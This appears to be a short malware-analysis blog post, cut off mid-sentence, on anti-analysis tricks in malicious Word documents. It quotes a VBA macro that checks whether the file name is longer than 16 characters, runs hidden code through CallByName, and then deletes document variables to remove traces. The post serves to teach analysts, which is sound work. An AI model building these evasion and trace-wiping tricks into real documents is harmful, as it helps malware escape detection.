Word Document : Anti Analysis Tricks
This post will cover Anti Analysis trick that can be used in Microsoft Office Word Document. Sample used for analysis - hxxps://virustotal.com/en/file/d49b2f735d5d4334653d705cb0ff837af88a4981253fb68c6d927745d97a1b3f/analysis/ 1.Checking Length of Name of Word Document Generally in malware analysis field we save document with its name as md5(32 characters) or sha256 (64 characters). // if name length is greater than 16 characters if Me.Name > 16 Then //CallByName "Microsoft Word", "Run",1,FluffyClouds CallByName Application, ThisDocument.Variables.Item("RegisterProduct"), VbMethod, Application.Documents.Item(1).Variables.Item("UserLookup").Valu e //Delete Document Items and Save Document Do ' Fix Later - Jose - 3/2017 DoEvents i = 1 ActiveDocument.Variables.Item(i).Delete i = i + 1 Loop Until ActiveDocument.Variables.Count > 0 ActiveDocument.Save In this case document run v...